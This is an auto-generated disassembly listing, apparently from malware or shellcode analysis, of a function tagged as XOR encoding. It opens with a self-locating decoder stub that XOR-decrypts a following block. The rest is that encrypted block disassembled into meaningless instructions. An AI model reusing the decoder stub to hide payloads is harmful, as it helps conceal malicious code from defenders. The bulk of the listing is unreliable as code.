Function at 0xdb0210
Capabilities:
Encode data using xor

Disassembly:
jmp 0xdb021a
pushal
call 0xdb0220
pop ebp
sub ebp, 0x10
sub ebp, 0x9b0210
jmp 0xdb0236
mov eax, 0x9b0210
add eax, ebp
add eax, 0x4c
mov ecx, 0x5d9
mov edx, 0xa5923f7c
xor byte [eax], dl
inc eax
dec ecx
jne 0xdb024d
jmp 0xdb0260
div dword [ecx + 0x7c40f5f7]
jl 0xdb02e4
std
mov ebp, 0x7c7c7c84
jg 0xdb0221
les edi, [ecx + 0x7c]
jl 0xdb02f1
invalid
jo 0xdb0362
div eax
pop eax
js 0xdb0367
jl 0xdb0369
adc al, 0x8c
out 0x5d, eax
jl 0xdb0307
pop esp
sbb al, byte [0x58507d7c]
int1
sbb byte [eax - 0x80], bl
cmc
jo 0xdb0359
xchg esp, eax
jns 0xdb0380
jl 0xdb0382
xchg ebp, eax
cmp dword [esi + 0x7c], edi
jl 0xdb0335
not dword [eax - 0x7c8ff67d]
or dword [esp + edx*4 + 4], esi
jl 0xdb0394
or dword [ecx], 0x74
xchg esp, eax
add al, 0x7c
jl 0xdb0395
jl 0xdb0311
test ecx, 0x7c7c7c74
sal dword [esp + edi*2 + 0x7c], 0x7c
std
lea edi, [esi - 0x245cbeb]
lea edi, [esi + 0x4fba3415]
mov ch, 0x4f
scasb al, byte es:[edi]
call dword [ecx + edi*2 + 0x32f87334]
jl 0xdb03b4
xor bh, byte [esp + edi*2 + 0x7c]
jae 0xdb032f
jl 0xdb03ad
hlt
xor al, 0x7c
jl 0xdb03bb
sbb dh, bh
pushal
inc ebp
cld
xchg dword [ebx + esi*2 + 0x7c7c66f8], edx
jl 0xdb03c7
jl 0xdb0349
xchg dword [ebp + 0x7c6df873], edx
jl 0xdb03d1
jl 0xdb0370
sbb bh, ch
std
xchg dword [ebx + 0x69f87359], eax
jl 0xdb03db
pop ecx
jae 0xdb0354
imul edi, dword [esp + edi*2 + 0x7c], 0x83b0953d
jl 0xdb039e
xchg ebp, eax
mov al, 0x83
add dword [ebx + 0x7d453055], 0xffffffff
adc dword [ebp + 0x30], 0x45
xor byte [ebp + 0x7d], al
jge 0xdb036a
invalid
mov ebp, 0x7894ff79
xchg ebp, eax
rol dword [ebx + 0x28558383], 0x45
jle 0xdb0379
invalid
mov ebp, 0x7896ff7a
call dword [ecx + edi*2 - 0x7c7c286b]
xor edi, 0x50
pop eax
int1
xchg esp, eax
jns 0xdb0318
xchg ebp, eax
xlatb
add dword [ebx + 0x5850f783], 0xfffffff1
sbb byte [eax + 0x78], bl
mov esi, 0xf7297c70
nop
sub ch, byte [ebx]
sub edi, esi
or dword [eax - 9], esi
add dword [eax + eax*4 - 0x32], esi
sub ebp, dword [ecx]
test dword [ecx], 0x7401f770
or dh, 0xfc
into
cld
idiv byte [edx - 3]
mov edx, 0x7c7c7c7d
hlt
jl 0xdb042b
jl 0xdb0378
jle 0xdb042f
jl 0xdb0430
jl 0xdb0431
jl 0xdb0434
jle 0xdb0365
scasb al, byte es:[edi]
jae 0xdb03b2
jns 0xdb0437
jl 0xdb0439
imul byte [edx + 0x3a]
outsb dx, byte [esi]
scasb al, byte es:[edi]
jae 0xdb03c3
jmp dword [ebx + eax*4 - 0x51817c7d]
movsb byte es:[edi], byte [esi]
add dword [ebx + 0x73ae7e83], 0xfffffff9
cmp dword [esi - 0x52], 0x73
stc
jns 0xdb044a
jl 0xdb044c
imul byte [edx + 0x3a]
push 0x3a
outsb dx, byte [esi]
scasb al, byte es:[edi]
jae 0xdb03d6
call dword [esi]
push ss
jl 0xdb0456
jl 0xdb042b
dec edi
mov esp, 0xf973ae7e
jns 0xdb045f
jl 0xdb0461
imul byte [edx + 0x3a]
outsb dx, byte [esi]
scasb al, byte es:[edi]
jae 0xdb03eb
call dword [esi + 0x7d]
jl 0xdb046c
push esi
jge 0xdb046b
jl 0xdb046f
jle 0xdb03a0
scasb al, byte es:[edi]
jae 0xdb03ed
jns 0xdb0472
jl 0xdb0474
imul byte [edx + 0x3a]
outsb dx, byte [esi]
scasb al, byte es:[edi]
cmp ch, byte [esi - 0x52]
outsd dx, dword [esi]
mov esp, 0xf973ae7e
jns 0xdb0481
jl 0xdb0483
imul byte [edx + 0x3a]
outsb dx, byte [esi]
scasb al, byte es:[edi]
outsd dx, dword [esi]
mov esp, 0xf973ae7e
jns 0xdb0490
jl 0xdb0492
imul byte [edx + 0x3a]
outsb dx, byte [esi]
scasb al, byte es:[edi]
outsd dx, dword [esi]
mov esp, 0xf973ae7e
jns 0xdb049f
jl 0xdb04a1
imul byte [edx + 0x3a]
outsb dx, byte [esi]
scasb al, byte es:[edi]
outsd dx, dword [esi]
mov esp, 0x7c7af873
clc
jp 0xdb04ac
jl 0xdb04ad
jl 0xdb04ae
jl 0xdb042a
mul dword [ebx + 0x7ff6a457]
mov dword [0x7ff6a457], eax
push edi
movsb byte es:[edi], byte [esi]
idiv byte [edi - 0xc]
jg 0xdb042d
hlt
jnp 0xdb0476
invalid
jl 0xdb03d6
or al, 0x83
add dword [ebx + 0x7c7c7dc4], 0x7c
jl 0xdb04c5
jl 0xdb04c9
jle 0xdb03fa
scasb al, byte es:[edi]
jae 0xdb0447
jns 0xdb04cc
jl 0xdb04ce
imul byte [edx + 0x3a]
outsb dx, byte [esi]
scasb al, byte es:[edi]
outsd dx, dword [esi]
mov esp, 0xf973ae7e
jns 0xdb04db
jl 0xdb04dd
imul byte [edx + 0x3a]
outsb dx, byte [esi]
scasb al, byte es:[edi]
jae 0xdb0466
mov byte [0x57838383], al
adc dword [edi - 0x41], 0xffffffc7
push edi
mov edi, 0x7c7c7dc7
invalid
jge 0xdb04ed
jl 0xdb04ef
jl 0xdb04e7
jae 0xdb046e
stc
dec eax
jl 0xdb04f4
jl 0xdb043f
jge 0xdb04f8
jl 0xdb04f9
jl 0xdb04fa
jl 0xdb04fd
jle 0xdb042e
scasb al, byte es:[edi]
jae 0xdb047b
stc
jns 0xdb0500
jl 0xdb0501
jl 0xdb0502
jl 0xdb047d
imul byte [edx + 0x3a]
push 0x3a
outsb dx, byte [esi]
scasb al, byte es:[edi]
outsd dx, dword [esi]
mov ch, 0x7e
scasb al, byte es:[edi]
jae 0xdb048a
stc
jns 0xdb050f
jl 0xdb0510
jl 0xdb0511
jl 0xdb048c
imul byte [edx + 0x3a]
push 0x3a
outsb dx, byte [esi]
scasb al, byte es:[edi]
jae 0xdb049a
mov byte [0x2a838383], al
sub dword [edx], 0xfffffff7
mov edx, dword [edi - 0x77]
invalid
test dword [ebx - 0x277076a9], 0x83749522
xchg ebp, eax
je 0xdb042e
add dword [ebx + 0x749cbd34], 0xfffffff6
xor dword [edi*4 + 0x7af6749c], 0x3a
xor al, 0xbd
pushfd
je 0xdb04a8
mov ebp, 0x7af6749c
cmp dh, bh
xchg esp, eax
lds edi, [ebp + 0x7c]
jl 0xdb0537
jp 0xdb04ee
not dword [ebp + eax*8 + 0x7c7c7c7d]
jl 0xdb0536
jl 0xdb053a
jle 0xdb046b
scasb al, byte es:[edi]
jae 0xdb04b8
jns 0xdb053d
jl 0xdb053f
imul byte [edx + 0x3a]
outsb dx, byte [esi]
cmp ch, byte [esi - 0x52]
scasb al, byte es:[edi]
outsd dx, dword [esi]
mov ch, 0x7e
scasb al, byte es:[edi]
jae 0xdb04c7
jns 0xdb054c
jl 0xdb054e
imul byte [edx + 0x3a]
push 0x3a
outsb dx, byte [esi]
scasb al, byte es:[edi]
jae 0xdb04d7
mov byte [0xfd838383], al
add dword [ebx + 0x17c84fd], 0x7c
std
test byte [ecx + eax + 0x7c], bh
jl 0xdb055f
jl 0xdb04e1
std
movsd dword es:[edi], dword [esi]
add dword [ebx - 0x7b027c7d], 0x7c
jns 0xdb056a
add dword [ebx + 0x797c84fd], 0x7c
jl 0xdb056b
jl 0xdb04ed
std
movsd dword es:[edi], dword [esi]
add dword [ebx - 0x7b027c7d], 0xfffffffc
cmp ebp, 0xffffff84
cld
jl 0xdb0576
jl 0xdb0577
jl 0xdb04f9
std
lodsd eax, dword [esi]
jl 0xdb057b
jl 0xdb057d
jl 0xdb04ff
std
test ah, bh
jl 0xdb0582
jl 0xdb0583
jl 0xdb0505
std
lodsd eax, dword [esi]
jl 0xdb0587
jl 0xdb0589
sub dh, bh
mov edx, dword [edi - 0x74]
invalid
push edi
mov word [edi - 0x186add28], cs
add byte [ebx + 0x3a7af683], 0x4f
mov ch, 0xbc
xchg esp, eax
jge 0xdb0596
clc
jl 0xdb05a3
jl 0xdb05a4
jl 0xdb0526
std
lodsd eax, dword [esi]
jle 0xdb05a8
jl 0xdb05aa
not dword [edx + ebp - 0x73a87409]
invalid
mov word [edi + 0x7dc722d8], cs
fsub dword [edx]
invalid
and al, bh
jge 0xdb05b7
jl 0xdb05b8
jl 0xdb05b9
jl 0xdb04d3
xchg ebp, eax
jb 0x57fc88c7
add byte [ebx + 0x1572183], 0x74
idiv dword [ebx - 0x6608dddd]
add dword [edi + esi*8 - 0x45], esi
and esp, dword [edx]
neg dword [ecx + 0x7c74be21]
and dword [esi + 0x22237c74], edi
je 0xdb05cc
and esp, dword [edx]
xchg ebp, eax
js 0xdb05d1
jl 0xdb05d3
ror dword [esp + eax*4 - 0xb], cl
les ebp, [esi + edi*2 - 0x19]
jl 0xdb05e0
mov ecx, 0x7f0dbcfd
jl 0xdb05e4
invalid
jle 0xdb05e8
jl 0xdb05e9
jl 0xdb0534
invalid
dec ecx
mov ecx, 0x6c4c422c
inc edx
dec esp
insb byte es:[edi], dx
cmp al, 0x35
jae 0xdb0571
stc
mov al, byte [ebx + 0x78958383]
jl 0xdb05fc
adc dword [ebp + 0x7c7c7c78], 0x39
js 0xdb05fb
jl 0xdb05fd
jl 0xdb05bb
cmp edx, edi
cli
cmp bh, cl
into
mov bh, 0xce
into
mov esi, 0xce753ec2
mov esi, 0xe97ef5c2
dec ecx
dec ecx
dec ecx
dec edx
ret 0x753e
mov bh, 0x1f
adc al, dl
pcmpeqw mm0, mm2
int 0x79
jge 0xdb05ea
dec ecx
dec ecx
bound edx, qword [ecx + 0x33c2b3ce]
dec ecx
xchg ecx, eax
into
mov bl, 0xc2
xor ecx, dword [ecx - 0x32]
into
mov bl, 0xce
mov al, 0xc2
xor byte [ebp - 0x32], cl
mov al, 0xc8
mov bl, 0x49
dec ecx
dec ecx
dec ecx
inc esi
int 0xf
dec ecx
dec ecx
dec ecx
cmovns ecx, dword [ecx + 0x49]
dec edx
lahf
enter 0x418e, 0x49
dec ecx
dec ecx
enter 0x41a0, 0x49
dec ecx
dec ecx
enter 0x49b0, 0x49
dec ecx
dec ecx
inc esi
int 0x85
mov dh, 0xb6
mov dh, 0x2f
ret 0x884e
test eax, 0x4ab1c846
dec edx
dec ecx
dec ecx
dec ecx
inc esi
int3
inc esp
dec ecx
dec ecx
dec ecx
das
ret 0xc84e
add byte [eax], al
add dl, cl
mov cs, word [ebx - 0x60]
xor dword [esi + 0x4da0b6b6], 0xed494949
jno 0xdb05d8
retf 0x4b8e
aaa
int1
pop ecx
dec ebx
ror byte [ecx + 0x4a], cl
mov eax, cs
mov dword [ebp + 0x4d], ebp
dec ecx
dec ecx
invalid